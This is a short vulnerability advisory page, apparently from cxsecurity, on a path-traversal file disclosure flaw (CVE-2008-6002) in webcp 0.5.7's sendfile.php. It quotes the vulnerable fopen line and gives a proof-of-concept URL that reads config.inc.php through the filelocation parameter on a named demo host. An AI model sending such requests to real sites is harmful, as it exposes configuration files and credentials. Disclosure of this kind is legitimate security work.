webcp 0.5.7 (filelocation) Remote File Disclosure Vulnerability

2009.01.31
Credit: Anon
Risk: High
Local: No
Remote: Yes
CVE: CVE-2008-6002
CWE: CWE-22


CVSS Base Score: 7.1/10
Impact Subscore: 6.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Complete
Integrity impact: None
Availability impact: None

################################################################################## ## webcp 0.5.7 (sendfile.php filelocation) Remote File Disclosure Vulnerability ## Script : http://www.web-cp.net/releases/webcp-0.5.7.tar.gz ## Demo : http://gyrbo.madoka.be/web-cp/ ## Vuln : ## } ## if ($tf = fopen($filelocation, "r")) { ## // Date in the past ################################################################################## ## POC : ## http://gyrbo.madoka.be/web-cp/sendfile.php?filelocation=config.inc.php ## Open By Mozilla Firefox ##################################################################################

References:

http://www.web-cp.net/mantis/changelog_page.php


See this note in RAW Version
Vote for this issue:
50%
50%

Comment it here.
Copyright 2025, cxsecurity.com

 

Back to Top